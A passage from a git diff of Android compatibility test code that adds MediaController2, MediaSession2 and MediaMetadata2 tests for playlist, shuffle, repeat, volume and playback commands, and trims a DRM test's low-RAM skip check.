+    @Test
+    public void testRemovePlaylistItem() throws InterruptedException {
+        mMockAgent.mPlaylist = TestUtils.createPlaylist(2);
+
+        // Recreate controller for sending removePlaylistItem.
+        // It's easier to ensure that MediaController2.getPlaylist() returns the playlist from the
+        // agent.
+        MediaController2 controller = createController(mSession.getToken());
+        MediaItem2 targetItem = controller.getPlaylist().get(0);
+        controller.removePlaylistItem(targetItem);
+        assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        assertTrue(mMockAgent.mRemovePlaylistItemCalled);
+        assertEquals(targetItem, mMockAgent.mItem);
+    }
+
+    @Test
+    public void testReplacePlaylistItem() throws InterruptedException {
+        final int testIndex = 12;
+        final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+        mController.replacePlaylistItem(testIndex, testMediaItem);
+        assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        assertTrue(mMockAgent.mReplacePlaylistItemCalled);
+        // MediaController2.replacePlaylistItem does not ensure the equality of the items.
+        assertEquals(testMediaItem.getMediaId(), mMockAgent.mItem.getMediaId());
+    }
+
+    @Test
+    public void testSkipToPreviousItem() throws InterruptedException {
+        mController.skipToPreviousItem();
+        assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mMockAgent.mSkipToPreviousItemCalled);
+    }
+
+    @Test
+    public void testSkipToNextItem() throws InterruptedException {
+        mController.skipToNextItem();
+        assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mMockAgent.mSkipToNextItemCalled);
+    }
+
+    @Test
+    public void testSkipToPlaylistItem() throws InterruptedException {
+        MediaController2 controller = createController(mSession.getToken());
+        MediaItem2 targetItem = TestUtils.createMediaItemWithMetadata();
+        controller.skipToPlaylistItem(targetItem);
+        assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        assertTrue(mMockAgent.mSkipToPlaylistItemCalled);
+        assertEquals(targetItem, mMockAgent.mItem);
+    }
+
+    /**
+     * This also tests {@link ControllerCallback#onShuffleModeChanged(MediaController2, int)}.
+     */
+    @Test
+    public void testGetShuffleMode() throws InterruptedException {
+        final int testShuffleMode = MediaPlaylistAgent.SHUFFLE_MODE_GROUP;
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public int getShuffleMode() {
+                return testShuffleMode;
+            }
+        };
+        final CountDownLatch latch = new CountDownLatch(1);
+        final ControllerCallback callback = new ControllerCallback() {
+            @Override
+            public void onShuffleModeChanged(MediaController2 controller, int shuffleMode) {
+                assertEquals(testShuffleMode, shuffleMode);
+                latch.countDown();
+            }
+        };
+        mSession.updatePlayer(mPlayer, agent, null);
+        MediaController2 controller = createController(mSession.getToken(), true, callback);
+        agent.notifyShuffleModeChanged();
+        assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(testShuffleMode, controller.getShuffleMode());
+    }
+
+    @Test
+    public void testSetShuffleMode() throws InterruptedException {
+        final int testShuffleMode = MediaPlaylistAgent.SHUFFLE_MODE_GROUP;
+        mController.setShuffleMode(testShuffleMode);
+        assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        assertTrue(mMockAgent.mSetShuffleModeCalled);
+        assertEquals(testShuffleMode, mMockAgent.mShuffleMode);
+    }
+
+    /**
+     * This also tests {@link ControllerCallback#onRepeatModeChanged(MediaController2, int)}.
+     */
+    @Test
+    public void testGetRepeatMode() throws InterruptedException {
+        final int testRepeatMode = MediaPlaylistAgent.REPEAT_MODE_GROUP;
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public int getRepeatMode() {
+                return testRepeatMode;
+            }
+        };
+        final CountDownLatch latch = new CountDownLatch(1);
+        final ControllerCallback callback = new ControllerCallback() {
+            @Override
+            public void onRepeatModeChanged(MediaController2 controller, int repeatMode) {
+                assertEquals(testRepeatMode, repeatMode);
+                latch.countDown();
+            }
+        };
+        mSession.updatePlayer(mPlayer, agent, null);
+        MediaController2 controller = createController(mSession.getToken(), true, callback);
+        agent.notifyRepeatModeChanged();
+        assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(testRepeatMode, controller.getRepeatMode());
+    }
+
+    @Test
+    public void testSetRepeatMode() throws InterruptedException {
+        final int testRepeatMode = MediaPlaylistAgent.REPEAT_MODE_GROUP;
+        mController.setRepeatMode(testRepeatMode);
+        assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        assertTrue(mMockAgent.mSetRepeatModeCalled);
+        assertEquals(testRepeatMode, mMockAgent.mRepeatMode);
+    }
+
+    @Test
+    public void testSetVolumeTo() throws Exception {
+        final int maxVolume = 100;
+        final int currentVolume = 23;
+        final int volumeControlType = VolumeProvider2.VOLUME_CONTROL_ABSOLUTE;
+        TestVolumeProvider volumeProvider =
+                new TestVolumeProvider(volumeControlType, maxVolume, currentVolume);
+
+        mSession.updatePlayer(new MockPlayer(0), null, volumeProvider);
+        final MediaController2 controller = createController(mSession.getToken(), true, null);
+
+        final int targetVolume = 50;
+        controller.setVolumeTo(targetVolume, 0 /* flags */);
+        assertTrue(volumeProvider.mLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertTrue(volumeProvider.mSetVolumeToCalled);
+        assertEquals(targetVolume, volumeProvider.mVolume);
+    }
+
+    @Test
+    public void testAdjustVolume() throws Exception {
+        final int maxVolume = 100;
+        final int currentVolume = 23;
+        final int volumeControlType = VolumeProvider2.VOLUME_CONTROL_ABSOLUTE;
+        TestVolumeProvider volumeProvider =
+                new TestVolumeProvider(volumeControlType, maxVolume, currentVolume);
+
+        mSession.updatePlayer(new MockPlayer(0), null, volumeProvider);
+        final MediaController2 controller = createController(mSession.getToken(), true, null);
+
+        final int direction = AudioManager.ADJUST_RAISE;
+        controller.adjustVolume(direction, 0 /* flags */);
+        assertTrue(volumeProvider.mLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertTrue(volumeProvider.mAdjustVolumeCalled);
+        assertEquals(direction, volumeProvider.mDirection);
+    }
+
+    @Test
+    public void testGetPackageName() {
+        assertEquals(mContext.getPackageName(), mController.getSessionToken().getPackageName());
+    }
+
+    @Test
+    public void testSendCustomCommand() throws InterruptedException {
+        // TODO(jaewan): Need to revisit with the permission.
+        final SessionCommand2 testCommand =
+                new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_PREPARE);
+        final Bundle testArgs = new Bundle();
+        testArgs.putString("args", "testSendCustomAction");
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback callback = new SessionCallback() {
+            @Override
+            public void onCustomCommand(MediaSession2 session, ControllerInfo controller,
+                    SessionCommand2 customCommand, Bundle args, ResultReceiver cb) {
+                super.onCustomCommand(session, controller, customCommand, args, cb);
+                assertEquals(mContext.getPackageName(), controller.getPackageName());
+                assertEquals(testCommand, customCommand);
+                assertTrue(TestUtils.equals(testArgs, args));
+                assertNull(cb);
+                latch.countDown();
+            }
+        };
+        mSession.close();
+        mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+                .setSessionCallback(sHandlerExecutor, callback).setId(TAG).build();
+        final MediaController2 controller = createController(mSession.getToken());
+        controller.sendCustomCommand(testCommand, testArgs, null);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testControllerCallback_onConnected() throws InterruptedException {
+        // createController() uses controller callback to wait until the controller becomes
+        // available.
+        MediaController2 controller = createController(mSession.getToken());
+        assertNotNull(controller);
+    }
+
+    @Test
+    public void testControllerCallback_sessionRejects() throws InterruptedException {
+        final MediaSession2.SessionCallback sessionCallback = new SessionCallback() {
+            @Override
+            public SessionCommandGroup2 onConnect(MediaSession2 session,
+                    ControllerInfo controller) {
+                return null;
+            }
+        };
+        sHandler.postAndSync(() -> {
+            mSession.close();
+            mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+                    .setSessionCallback(sHandlerExecutor, sessionCallback).build();
+        });
+        MediaController2 controller =
+                createController(mSession.getToken(), false, null);
+        assertNotNull(controller);
+        waitForConnect(controller, false);
+        waitForDisconnect(controller, true);
+    }
+
+    @Test
+    public void testControllerCallback_releaseSession() throws InterruptedException {
+        sHandler.postAndSync(() -> {
+            mSession.close();
+        });
+        waitForDisconnect(mController, true);
+    }
+
+    @Test
+    public void testControllerCallback_release() throws InterruptedException {
+        mController.close();
+        waitForDisconnect(mController, true);
+    }
+
+    @Test
+    public void testPlayFromSearch() throws InterruptedException {
+        final String request = "random query";
+        final Bundle bundle = new Bundle();
+        bundle.putString("key", "value");
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback callback = new SessionCallback() {
+            @Override
+            public void onPlayFromSearch(MediaSession2 session, ControllerInfo controller,
+                    String query, Bundle extras) {
+                super.onPlayFromSearch(session, controller, query, extras);
+                assertEquals(mContext.getPackageName(), controller.getPackageName());
+                assertEquals(request, query);
+                assertTrue(TestUtils.equals(bundle, extras));
+                latch.countDown();
+            }
+        };
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setSessionCallback(sHandlerExecutor, callback)
+                .setId("testPlayFromSearch").build()) {
+            MediaController2 controller = createController(session.getToken());
+            controller.playFromSearch(request, bundle);
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testPlayFromUri() throws InterruptedException {
+        final Uri request = Uri.parse("foo://boo");
+        final Bundle bundle = new Bundle();
+        bundle.putString("key", "value");
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback callback = new SessionCallback() {
+            @Override
+            public void onPlayFromUri(MediaSession2 session, ControllerInfo controller, Uri uri,
+                    Bundle extras) {
+                assertEquals(mContext.getPackageName(), controller.getPackageName());
+                assertEquals(request, uri);
+                assertTrue(TestUtils.equals(bundle, extras));
+                latch.countDown();
+            }
+        };
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setSessionCallback(sHandlerExecutor, callback)
+                .setId("testPlayFromUri").build()) {
+            MediaController2 controller = createController(session.getToken());
+            controller.playFromUri(request, bundle);
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testPlayFromMediaId() throws InterruptedException {
+        final String request = "media_id";
+        final Bundle bundle = new Bundle();
+        bundle.putString("key", "value");
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback callback = new SessionCallback() {
+            @Override
+            public void onPlayFromMediaId(MediaSession2 session, ControllerInfo controller,
+                    String mediaId, Bundle extras) {
+                assertEquals(mContext.getPackageName(), controller.getPackageName());
+                assertEquals(request, mediaId);
+                assertTrue(TestUtils.equals(bundle, extras));
+                latch.countDown();
+            }
+        };
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setSessionCallback(sHandlerExecutor, callback)
+                .setId("testPlayFromMediaId").build()) {
+            MediaController2 controller = createController(session.getToken());
+            controller.playFromMediaId(request, bundle);
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testPrepareFromSearch() throws InterruptedException {
+        final String request = "random query";
+        final Bundle bundle = new Bundle();
+        bundle.putString("key", "value");
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback callback = new SessionCallback() {
+            @Override
+            public void onPrepareFromSearch(MediaSession2 session, ControllerInfo controller,
+                    String query, Bundle extras) {
+                assertEquals(mContext.getPackageName(), controller.getPackageName());
+                assertEquals(request, query);
+                assertTrue(TestUtils.equals(bundle, extras));
+                latch.countDown();
+            }
+        };
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setSessionCallback(sHandlerExecutor, callback)
+                .setId("testPrepareFromSearch").build()) {
+            MediaController2 controller = createController(session.getToken());
+            controller.prepareFromSearch(request, bundle);
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testPrepareFromUri() throws InterruptedException {
+        final Uri request = Uri.parse("foo://boo");
+        final Bundle bundle = new Bundle();
+        bundle.putString("key", "value");
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback callback = new SessionCallback() {
+            @Override
+            public void onPrepareFromUri(MediaSession2 session, ControllerInfo controller, Uri uri,
+                    Bundle extras) {
+                assertEquals(mContext.getPackageName(), controller.getPackageName());
+                assertEquals(request, uri);
+                assertTrue(TestUtils.equals(bundle, extras));
+                latch.countDown();
+            }
+        };
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setSessionCallback(sHandlerExecutor, callback)
+                .setId("testPrepareFromUri").build()) {
+            MediaController2 controller = createController(session.getToken());
+            controller.prepareFromUri(request, bundle);
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testPrepareFromMediaId() throws InterruptedException {
+        final String request = "media_id";
+        final Bundle bundle = new Bundle();
+        bundle.putString("key", "value");
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback callback = new SessionCallback() {
+            @Override
+            public void onPrepareFromMediaId(MediaSession2 session, ControllerInfo controller,
+                    String mediaId, Bundle extras) {
+                assertEquals(mContext.getPackageName(), controller.getPackageName());
+                assertEquals(request, mediaId);
+                assertTrue(TestUtils.equals(bundle, extras));
+                latch.countDown();
+            }
+        };
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setSessionCallback(sHandlerExecutor, callback)
+                .setId("testPrepareFromMediaId").build()) {
+            MediaController2 controller = createController(session.getToken());
+            controller.prepareFromMediaId(request, bundle);
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testSetRating() throws InterruptedException {
+        final int ratingType = Rating2.RATING_5_STARS;
+        final float ratingValue = 3.5f;
+        final Rating2 rating = Rating2.newStarRating(ratingType, ratingValue);
+        final String mediaId = "media_id";
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback callback = new SessionCallback() {
+            @Override
+            public void onSetRating(MediaSession2 session, ControllerInfo controller,
+                    String mediaIdOut, Rating2 ratingOut) {
+                assertEquals(mContext.getPackageName(), controller.getPackageName());
+                assertEquals(mediaId, mediaIdOut);
+                assertEquals(rating, ratingOut);
+                latch.countDown();
+            }
+        };
+
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setSessionCallback(sHandlerExecutor, callback)
+                .setId("testSetRating").build()) {
+            MediaController2 controller = createController(session.getToken());
+            controller.setRating(mediaId, rating);
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testIsConnected() throws InterruptedException {
+        assertTrue(mController.isConnected());
+        sHandler.postAndSync(()->{
+            mSession.close();
+        });
+        // postAndSync() to wait until the disconnection is propagated.
+        sHandler.postAndSync(()->{
+            assertFalse(mController.isConnected());
+        });
+    }
+
+    /**
+     * Test potential deadlock for calls between controller and session.
+     */
+    @Test
+    public void testDeadlock() throws InterruptedException {
+        sHandler.postAndSync(() -> {
+            mSession.close();
+            mSession = null;
+        });
+
+        // Two more threads are needed not to block test thread nor test wide thread (sHandler).
+        final HandlerThread sessionThread = new HandlerThread("testDeadlock_session");
+        final HandlerThread testThread = new HandlerThread("testDeadlock_test");
+        sessionThread.start();
+        testThread.start();
+        final SyncHandler sessionHandler = new SyncHandler(sessionThread.getLooper());
+        final Handler testHandler = new Handler(testThread.getLooper());
+        final CountDownLatch latch = new CountDownLatch(1);
+        try {
+            final MockPlayer player = new MockPlayer(0);
+            sessionHandler.postAndSync(() -> {
+                mSession = new MediaSession2.Builder(mContext)
+                        .setPlayer(mPlayer)
+                        .setSessionCallback(sHandlerExecutor, new SessionCallback() {})
+                        .setId("testDeadlock").build();
+            });
+            final MediaController2 controller = createController(mSession.getToken());
+            testHandler.post(() -> {
+                final int state = MediaPlayerBase.PLAYER_STATE_ERROR;
+                for (int i = 0; i < 100; i++) {
+                    // triggers call from session to controller.
+                    player.notifyPlaybackState(state);
+                    // triggers call from controller to session.
+                    controller.play();
+
+                    // Repeat above
+                    player.notifyPlaybackState(state);
+                    controller.pause();
+                    player.notifyPlaybackState(state);
+                    controller.stop();
+                    player.notifyPlaybackState(state);
+                    controller.skipToNextItem();
+                    player.notifyPlaybackState(state);
+                    controller.skipToPreviousItem();
+                }
+                // This may hang if deadlock happens.
+                latch.countDown();
+            });
+            assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            if (mSession != null) {
+                sessionHandler.postAndSync(() -> {
+                    // Clean up here because sessionHandler will be removed afterwards.
+                    mSession.close();
+                    mSession = null;
+                });
+            }
+            if (sessionThread != null) {
+                sessionThread.quitSafely();
+            }
+            if (testThread != null) {
+                testThread.quitSafely();
+            }
+        }
+    }
+
+    @Test
+    public void testGetServiceToken() {
+        SessionToken2 token = TestUtils.getServiceToken(mContext, MockMediaSessionService2.ID);
+        assertNotNull(token);
+        assertEquals(mContext.getPackageName(), token.getPackageName());
+        assertEquals(MockMediaSessionService2.ID, token.getId());
+        assertEquals(SessionToken2.TYPE_SESSION_SERVICE, token.getType());
+    }
+
+    @Test
+    public void testConnectToService_sessionService() throws InterruptedException {
+        testConnectToService(MockMediaSessionService2.ID);
+    }
+
+    @Ignore
+    @Test
+    public void testConnectToService_libraryService() throws InterruptedException {
+        testConnectToService(MockMediaLibraryService2.ID);
+    }
+
+    public void testConnectToService(String id) throws InterruptedException {
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback sessionCallback = new SessionCallback() {
+            @Override
+            public SessionCommandGroup2 onConnect(@NonNull MediaSession2 session,
+                    @NonNull ControllerInfo controller) {
+                if (Process.myUid() == controller.getUid()) {
+                    if (mSession != null) {
+                        mSession.close();
+                    }
+                    mSession = session;
+                    mPlayer = (MockPlayer) session.getPlayer();
+                    assertEquals(mContext.getPackageName(), controller.getPackageName());
+                    assertFalse(controller.isTrusted());
+                    latch.countDown();
+                }
+                return super.onConnect(session, controller);
+            }
+        };
+        TestServiceRegistry.getInstance().setSessionCallback(sessionCallback);
+
+        mController = createController(TestUtils.getServiceToken(mContext, id));
+        assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        // Test command from controller to session service
+        mController.play();
+        assertTrue(mPlayer.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mPlayer.mPlayCalled);
+
+        // Test command from session service to controller
+        // TODO(jaewan): Add equivalent tests again
+        /*
+        final CountDownLatch latch = new CountDownLatch(1);
+        mController.registerPlayerEventCallback((state) -> {
+            assertNotNull(state);
+            assertEquals(PlaybackState.STATE_REWINDING, state.getState());
+            latch.countDown();
+        }, sHandler);
+        mPlayer.notifyPlaybackState(
+                TestUtils.createPlaybackState(PlaybackState.STATE_REWINDING));
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        */
+    }
+
+    @Test
+    public void testControllerAfterSessionIsGone_session() throws InterruptedException {
+        testControllerAfterSessionIsGone(mSession.getToken().getId());
+    }
+
+    // TODO(jaewan): Re-enable this test
+    @Ignore
+    @Test
+    public void testControllerAfterSessionIsGone_sessionService() throws InterruptedException {
+        /*
+        connectToService(TestUtils.getServiceToken(mContext, MockMediaSessionService2.ID));
+        testControllerAfterSessionIsGone(MockMediaSessionService2.ID);
+        */
+    }
+
+    @Test
+    public void testClose_beforeConnected() throws InterruptedException {
+        MediaController2 controller =
+                createController(mSession.getToken(), false, null);
+        controller.close();
+    }
+
+    @Test
+    public void testClose_twice() {
+        mController.close();
+        mController.close();
+    }
+
+    @Test
+    public void testClose_session() throws InterruptedException {
+        final String id = mSession.getToken().getId();
+        mController.close();
+        // close is done immediately for session.
+        testNoInteraction();
+
+        // Test whether the controller is notified about later close of the session or
+        // re-creation.
+        testControllerAfterSessionIsGone(id);
+    }
+
+    @Test
+    public void testClose_sessionService() throws InterruptedException {
+        testCloseFromService(MockMediaSessionService2.ID);
+    }
+
+    @Test
+    public void testClose_libraryService() throws InterruptedException {
+        testCloseFromService(MockMediaLibraryService2.ID);
+    }
+
+    private void testCloseFromService(String id) throws InterruptedException {
+        final CountDownLatch latch = new CountDownLatch(1);
+        TestServiceRegistry.getInstance().setSessionServiceCallback(new SessionServiceCallback() {
+            @Override
+            public void onDestroyed() {
+                latch.countDown();
+            }
+        });
+        mController = createController(TestUtils.getServiceToken(mContext, id));
+        mController.close();
+        // Wait until close triggers onDestroy() of the session service.
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertNull(TestServiceRegistry.getInstance().getServiceInstance());
+        testNoInteraction();
+
+        // Test whether the controller is notified about later close of the session or
+        // re-creation.
+        testControllerAfterSessionIsGone(id);
+    }
+
+    private void testControllerAfterSessionIsGone(final String id) throws InterruptedException {
+        sHandler.postAndSync(() -> {
+            // TODO(jaewan): Use Session.close later when we add the API.
+            mSession.close();
+        });
+        waitForDisconnect(mController, true);
+        testNoInteraction();
+
+        // Ensure that the controller cannot use newly create session with the same ID.
+        sHandler.postAndSync(() -> {
+            // Recreated session has different session stub, so previously created controller
+            // shouldn't be available.
+            mSession = new MediaSession2.Builder(mContext)
+                    .setPlayer(mPlayer)
+                    .setSessionCallback(sHandlerExecutor, new SessionCallback() {})
+                    .setId(id).build();
+        });
+        testNoInteraction();
+    }
+
+    private void testNoInteraction() throws InterruptedException {
+        // TODO: Uncomment
+        /*
+        final CountDownLatch latch = new CountDownLatch(1);
+        final PlayerEventCallback callback = new PlayerEventCallback() {
+            @Override
+            public void onPlaybackStateChanged(PlaybackState2 state) {
+                fail("Controller shouldn't be notified about change in session after the close.");
+                latch.countDown();
+            }
+        };
+        */
+
+        // TODO(jaewan): Add equivalent tests again
+        /*
+        mController.registerPlayerEventCallback(playbackListener, sHandler);
+        mPlayer.notifyPlaybackState(TestUtils.createPlaybackState(PlaybackState.STATE_BUFFERING));
+        assertFalse(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        mController.unregisterPlayerEventCallback(playbackListener);
+        */
+    }
+
+    // TODO(jaewan): Add  test for service connect rejection, when we differentiate session
+    //               active/inactive and connection accept/refuse
+
+    class TestVolumeProvider extends VolumeProvider2 {
+        final CountDownLatch mLatch = new CountDownLatch(1);
+        boolean mSetVolumeToCalled;
+        boolean mAdjustVolumeCalled;
+        int mVolume;
+        int mDirection;
+
+        public TestVolumeProvider(int controlType, int maxVolume, int currentVolume) {
+            super(controlType, maxVolume, currentVolume);
+        }
+
+        @Override
+        public void onSetVolumeTo(int volume) {
+            mSetVolumeToCalled = true;
+            mVolume = volume;
+            mLatch.countDown();
+        }
+
+        @Override
+        public void onAdjustVolume(int direction) {
+            mAdjustVolumeCalled = true;
+            mDirection = direction;
+            mLatch.countDown();
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java b/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
index 43c02f4..c504c4b 100644
--- a/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
@@ -15,8 +15,6 @@
  */
 package android.media.cts;
 
-import android.app.ActivityManager;
-import android.content.Context;
 import android.content.pm.PackageManager;
 import android.media.CamcorderProfile;
 import android.media.MediaCodecInfo.CodecCapabilities;
@@ -530,10 +528,6 @@
     }
 
     public void testClearKeyPlaybackMpeg2ts() throws Exception {
-         Log.e(TAG, "testClearKeyPlaybackMpeg2ts - check before return ");
-            if (isLowRam()&& !isTV())
-            return;
-        Log.e(TAG, "testClearKeyPlaybackMpeg2ts - check after return ");
         testClearKeyPlayback(
             CLEARKEY_SCHEME_UUID,
             MIME_VIDEO_AVC, new String[0],
@@ -1002,13 +996,4 @@
         }
         return false;
     }
-
-    private boolean isTV() {
-        return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY);
-    }
-
-    private boolean isLowRam() {
-         ActivityManager am = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
-         return am.isLowRamDevice();
-    }
 }
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadata2Test.java b/tests/tests/media/src/android/media/cts/MediaMetadata2Test.java
new file mode 100644
index 0000000..7c9f5b5
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaMetadata2Test.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertTrue;
+
+import android.media.MediaMetadata2;
+import android.media.MediaMetadata2.Builder;
+import android.media.Rating2;
+import android.os.Bundle;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Ignore
+public class MediaMetadata2Test {
+    @Test
+    public void testBuilder() {
+        final Bundle extras = new Bundle();
+        extras.putString("MediaMetadata2Test", "testBuilder");
+        final String title = "title";
+        final long discNumber = 10;
+        final Rating2 rating = Rating2.newThumbRating(true);
+
+        Builder builder = new Builder();
+        builder.setExtras(extras);
+        builder.putString(MediaMetadata2.METADATA_KEY_DISPLAY_TITLE, title);
+        builder.putLong(MediaMetadata2.METADATA_KEY_DISC_NUMBER, discNumber);
+        builder.putRating(MediaMetadata2.METADATA_KEY_USER_RATING, rating);
+
+        MediaMetadata2 metadata = builder.build();
+        assertTrue(TestUtils.equals(extras, metadata.getExtras()));
+        assertEquals(title, metadata.getString(MediaMetadata2.METADATA_KEY_DISPLAY_TITLE));
+        assertEquals(discNumber, metadata.getLong(MediaMetadata2.METADATA_KEY_DISC_NUMBER));
+        assertEquals(rating, metadata.getRating(MediaMetadata2.METADATA_KEY_USER_RATING));
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
index dd0fa09..adae137 100644
--- a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
@@ -181,6 +181,19 @@
                 mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_WRITER));
     }
 
+    public void testBitsPerSampleAndSampleRate() {
+        setDataSourceFd(R.raw.testwav_16bit_44100hz);
+
+        assertEquals("Bits per sample was other than expected",
+                "16",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_BITS_PER_SAMPLE));
+
+        assertEquals("Sample rate was other than expected",
+                "44100",
+                mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_SAMPLERATE));
+
+    }
+
     public void testLargeAlbumArt() {
         setDataSourceFd(R.raw.largealbumart);
 
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java b/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
index f01665a..91a6acf 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
@@ -183,12 +183,6 @@
         playVideoWithRetries(uri, headers, cookies, null /* width */, null /* height */, playTime);
     }
 
-    protected void playLiveAudioOnlyTest(
-            Uri uri, Map<String, String> headers, List<HttpCookie> cookies,
-            int playTime) throws Exception {
-        playVideoWithRetries(uri, headers, cookies, -1 /* width */, -1 /* height */, playTime);
-    }
-
     protected void playVideoWithRetries(
             Uri uri, Map<String, String> headers, List<HttpCookie> cookies,
             Integer width, Integer height, int playTime) throws Exception {
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2Test.java b/tests/tests/media/src/android/media/cts/MediaSession2Test.java
new file mode 100644
index 0000000..99dc720
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaSession2Test.java
@@ -0,0 +1,877 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static android.media.AudioAttributes.CONTENT_TYPE_MUSIC;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
